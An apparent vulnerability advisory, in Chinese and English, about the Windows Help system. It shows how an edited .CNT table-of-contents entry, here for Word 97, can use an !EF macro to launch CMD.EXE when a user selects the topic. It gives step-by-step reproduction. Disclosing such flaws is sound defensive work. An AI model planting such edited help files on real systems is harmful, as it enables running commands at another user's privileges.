Windows帮组系统存在漏洞。本地用户可以借助编辑一个扩展名为.CNT的图元文件目录表的方式，以其他用户的身份执行命令；并在访问.hlp文件时，借助修改主题操作以收录要执行的命令。

The help files for the Windows Help system (*.cnt, *.hlp) can be edited so that they run an arbitrary executable when selected by a user. The executable will run at the privelege level of the user.

The *.cnt files are like tables of contents that tell the help system what to open when each topic is selected. These entries can be edited to cause system and DLL calls and programs to be executed when a topic is chosen. The help files themselves, *.hlp, can be edited in a similar manner.


- Delete C:Program FilesMicrosoft OfficeOfficeWDMAIN8.GID
(kill winhlp32.exe process if necessary)

- Edit C:Program FilesMicrosoft OfficeOfficeWDMAIN8.CNT
which is a text file. You should change the line which has
something like:

3 Word 97 new [email protected]>REF

to read:

3 Word 97 new features=!EF("CMD.EXE","",1)

- Run WinWord and select Help|Contents from menubar.
- Find topic "Word 97 new features" and select it.
- You should see CMD.EXE to run.
